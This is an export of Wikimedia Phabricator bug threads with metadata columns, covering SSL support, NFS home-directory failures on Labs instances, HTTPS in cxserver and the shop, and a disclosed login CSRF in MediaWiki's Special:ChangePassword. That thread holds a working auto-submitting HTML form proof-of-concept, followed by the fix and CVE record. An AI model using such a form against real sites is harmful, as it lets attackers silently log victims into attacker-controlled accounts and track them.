+300394,enable SSL/https support again,"Patch is there, will get it fixed this afternoon hopefully :-]",,,1396693634,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+300388,enable SSL/https support again,"Change 124057 had a related patch set uploaded by Hashar:
+beta: adjust protoproxy for eqiad
+
+https://gerrit.wikimedia.org/r/124057",,,1396693598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,False,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+64771,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"As of late, the home directory creation for users is broken.
+
+I got errors in two scenarios:
+
+* Added user 'rxy' as member to the 'cvn' group.
+* Him connecting to a pre-existing pmtpa instance that I (krinkle) can log in on fine, yields:
+
+$ ssh cvn-app2.pmtpa.wmflabs
+(..)
+Creating directory '/home/rxy'.
+Unable to create and initialize directory '/home/rxy'.
+
+$ ssh cvn-app3.eqiad.wmflabs
+(..)
+* Created new instance in eqiad.
+* Me connecting to this 15 minutes after its creation, I still get:
+
+Creating directory '/home/krinkle'.
+Unable to create and initialize directory '/home/krinkle'.
+
+
+I've updated my .ssh/config with the most recent version of the example on https://wikitech.wikimedia.org/wiki/Help:Access#ProxyCommand, but that only made it worse (main difference is using bastion-eqiad, instance of bastion2.pmtpa).
+
+With that config I can't even connect to it:
+
+$ ssh cvn-app3.eqiad.wmflabs 
+channel 0: open failed: connect failed: Connection timed out
+ssh_exchange_identification: Connection closed by remote host
+
+Trying manually:
+
+$ ssh -A bastion1.eqiad.wmflabs
+krinkle at bastion1.eqiad.wmflabs in ~
+$ ping cvn-app3
+PING cvn-app3.eqiad.wmflabs (10.68.16.170) 56(84) bytes of data.
+64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=1 ttl=64 time=2.26
+64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=2 ttl=64 time=0.71
+$ ssh cvn-app3
+ssh: connect to host cvn-app3 port 22: Connection timed out
+$ ssh cvn-app3.eqiad.wmflabsssh: connect to host cvn-app3.eqiad.wmflabs port 22: Connection timed out
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1395122940,1395865315.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kc232afiuvpm5uk6upql,task_description,resolved,True,c3,1,True,False,True,-68,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+287782,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The race condition has been prevented for new images (that is, attempts to mount a filesystem before it has been made available rw will now fail rather than mount readonly); subsequent puppet runs will try again.
+
+This will prevent the fundamental issue (and the annoying caching that makes it hard to go away), but not for existing instances which will still require some manual manipulation.",,,1395865315,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-67,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+287778,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"(In reply to Marc A. Pelletier from comment #3)
+> The nature of the problem is known (the instance attempts to mount /home and
+> /data/project before the NFS server has updated its ACLs for it, then caches
+> the negative result for some time), but a proper fix hasn't been found yet.
+> 
+> I have some ideas on how to prevent this from happening that I will be
+> trying today.
+> 
+> In the meantime, doing a reboot at least 10 minutes after the issue occurs
+> then waiting at least another 20 minutes seem to be sufficient to let the
+> ACL time out.
+
+I've rebooted cvn-app3 shortly after I created it and it wasn't working, then I reported this bug.
+
+I've rebooted it again yesterday, and again today just now. Still getting:
+
+krinkle at KrinkleMac in ~ $ ssh cvn-app3.eqiad.wmflabs 
+channel 0: open failed: connect failed: Connection timed out
+ssh_exchange_identification: Connection closed by remote host
+
+
+Could be unrelated, but it's also not showing any life signs in ganglia since and including during its creation:
+http://ganglia.wmflabs.org/latest/?c=cvn&h=cvn-app3",,,1395452542,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-67,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+287776,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The nature of the problem is known (the instance attempts to mount /home and /data/project before the NFS server has updated its ACLs for it, then caches the negative result for some time), but a proper fix hasn't been found yet.
+
+I have some ideas on how to prevent this from happening that I will be trying today.
+
+In the meantime, doing a reboot at least 10 minutes after the issue occurs then waiting at least another 20 minutes seem to be sufficient to let the ACL time out.",,,1395233623,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+287774,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"confirmed, had exact same issue today, with 2 newly created eqiad instances. the problem disappeared after rebooting the second one a second time (or so)",,,1395207082,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+287771,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The pmtpa issue is an unrelated and soon-to-be-moot gluster failure.
+
+The eqiad issue I've seen before, but don't know how to fix (other than by waiting and rebooting.)  Perhaps Coren will have time to debug this sometime soon...",,,1395205367,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+64497,Login csrf in Special:ChangePassword,"Gopinath (via codex.galleryproject.org) reported a login csrf on Special:ChangePassword. Confirmed this in master. Note with the PoC, the victim must have an existing _session cookie on the target wiki, otherwise the login fails.
+
+Special:ChangePassword should use a login token.
+
+
+
+>>>>
+
+On Sun, Mar 9, 2014 at 12:16 PM, Bharat Mediratta <bharat@menalto.com> wrote:
+
+Hi, Wikimedia folks - Gopinath is reporting a vulnerability in Mediawiki 1.22.3 which is running on codex.galleryproject.org - can you take a look at this and decide whether it's something you want to resolve in the Mediawiki codebase?
+
+-Bharat
+
+
+
+On Fri, Mar 7, 2014 at 10:14 PM, Gopinath <gopiengg@gmail.com> wrote:
+Hi,
+Through below CSRF Code user  can be logged into the attackers account, without knowledge of  user.So  attacker can track the  user activity.
+User also wont know the attacker account password .Attacker can request password reset for his account and can get the value of  wpPassword parameter.
+
+POC Code
+
+<html>
+<head>
+</head>
+<body onload=document.forms[0].submit();>
+<form action=""http://codex.galleryproject.org/Special:ChangePassword"" method=""POST""> 
+        <input type=""hidden"" name=""returnto"" value=""Main Page"" />
+        <input type=""hidden"" name=""token"" value=""+\"" />
+        <input type=""hidden"" name=""wpDomain"" value="""" />
+        <input type=""hidden"" name=""wpName"" value=""Gopinath6"" />
+        <input type=""hidden"" name=""wpNewPassword"" value=password1234 />
+        <input type=""hidden"" name=""wpPassword"" value=7qbuqjjsme />
+        <input type=""hidden"" name=""wpRetype"" value=password1234 />
+</form>
+</body>
+</html>
+
+
+Regards
+Gopinath
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",High,80.0,1394473620,1395970638.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_description,resolved,True,c3,1,True,False,True,-69,True,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+287399,Login csrf in Special:ChangePassword,"This was assigned CVE-2014-2665.
+
+http://openwall.com/lists/oss-security/2014/04/01/7
+
+The MITRE email also documents their understanding of ""Login CSRF"", which is good background if this issue pops up again.",,,1396385953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+287393,Login csrf in Special:ChangePassword,"Correction, Markus will release 1.19.15 tomorrow to fix the issue. Sorry about that.",,,1396370450,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287386,Login csrf in Special:ChangePassword,Markus just released 1.19.15 to fix the password reset issue.,,,1396369642,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287379,Login csrf in Special:ChangePassword,"For the records, https://www.mediawiki.org/w/index.php?title=Project:Support_desk#Session_Hijacking_error_after_Update_1.19.14_41441 lists an issue with the 1.19.14 tarball including the backport for this.",,,1396280156,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+287370,Login csrf in Special:ChangePassword,"see http://www.gossamer-threads.com/lists/wiki/mediawiki-cvs/436923 (well, this is essential for _password_ comparison, perhaps not necessarily needed for token comparison, as already discussed elsewhere)",,,1395990732,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+287361,Login csrf in Special:ChangePassword,"Comment on attachment 14787
+Add CSRF token on Special:ChangePassword
+
+The token compare function is _not_ running in constant time. As we have a function for token comparison, we should use it here.",,,1395989664,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+287354,Login csrf in Special:ChangePassword,"Fix is released in MW 1.19.14, 1.21.8 and 1.22.5. WMF sites are patched.",,,1395970638,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287346,Login csrf in Special:ChangePassword,"Tested the 1.19 backport patch, and confirmed it fixes the vulnerability.",,,1395917195,,PHID-USER-ozio6hmebkfdrn7rqxr2,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+287339,Login csrf in Special:ChangePassword,"Created attachment 14939
+Backport to REL1_19
+
+Considering Chris' new version of the backport for REL1_22. Tested password change. Still works.
+
+**Attached**: {F13064}",,,1395913854,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+287333,Login csrf in Special:ChangePassword,"Created attachment 14938
+Backport to REL1_21
+
+Backport similar to 14933, so Chris' changes are already considered. Changing passwords was tested. Please look for potentail security implications.
+
+**Attached**: {F13063}",,,1395912470,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+287327,Login csrf in Special:ChangePassword,"Created attachment 14933
+Backport to REL1_22
+
+I hit a couple issues when testing your patch. I think this is a slightly better way to do it.
+
+**Attached**: {F13062}",,,1395881785,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+287323,Login csrf in Special:ChangePassword,"Created attachment 14927
+Backport to REL1_22
+
+Backported to the best of my knowledge. Special:ChangePassword tested. Can't reproduce the attack, so someone with a deeper understanding of this vulnerability should look at it and confirm it fixes the security issue.
+
+//attachment bug62497-122.patch ignored as obsolete//",,,1395875704,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-67,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0
+287318,Login csrf in Special:ChangePassword,Not yet. I'll request one as soon as we make it public.,,,1395872129,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-67,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+287313,Login csrf in Special:ChangePassword,Do we already have a CVE for this bug?,,,1395871576,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-67,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+287307,Login csrf in Special:ChangePassword,Early access for Wikia.,,,1395840561,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-67,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287301,Login csrf in Special:ChangePassword,The patch looks good to me.,,,1394551046,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+287293,Login csrf in Special:ChangePassword,"Created attachment 14787
+Add CSRF token on Special:ChangePassword
+
+**Attached**: {F13061}",,,1394480086,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+64201,Add https support to cxserver,"Would make testing easier for me, as I run wiki over https, and all http requests are blocked.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1393941000,1398680537.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-p2jnnbdoeof2oymmfjck,task_description,resolved,True,c3,1,True,False,True,-70,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0
+285886,Add https support to cxserver,"Change 129400 merged by jenkins-bot:
+Adds HTTPS support to cxserver
+
+https://gerrit.wikimedia.org/r/129400",,,1398680402,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+285880,Add https support to cxserver,"Change 129400 had a related patch set uploaded by Nikerabbit:
+Adds HTTPS Support to cxserver
+
+https://gerrit.wikimedia.org/r/129400",,,1398342870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+285875,Add https support to cxserver,"This sounds like something that should be supported from as early stage as possible.
+
+Kartik, is this hard to configure?",,,1395397149,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,True,,,-67,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+63528,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"I am able to stay on HTTPS on the shop *up until* the site gets to asking me to log in and *then* it sends me to HTTP.
+
+?!
+
+Once a user is on HTTPS, keep them there.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+**URL**: https://shop.wikimedia.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=37790",High,80.0,1392773820,1459803147.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-462ulbg4ytwoncnhomhg,False,PHID-TASK-z3erhatdd4e5dynio6hl,task_description,resolved,True,c3,1,False,False,False,-72,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+640402,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout)," Resolved per HuiZSF
+",,,1459803147,,PHID-USER-462ulbg4ytwoncnhomhg,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+616927,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Seems shopify only use https for checkout transaction.
+Similar report earlier in last year: 
+https://phabricator.wikimedia.org/T96749",,,1456290034,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+616924,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),the shop does not run on WMF infra but external on shopify.com and isn't operated by the operations team. so i'm afraid ops and traffic can't do much here unless we'd stop outsourcing this to shopify. ,,,1456289530,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+426350,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),">>! In T63528#1118419, @Dzahn wrote:
+> Has this been resolved in T39790#418202 ?
+
+No. I just tested. This issue (redirect to HTTP after login) has not been resolved. ",,,1426298275,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+426297,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),Has this been resolved in T39790#418202 ?,,,1426291161,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
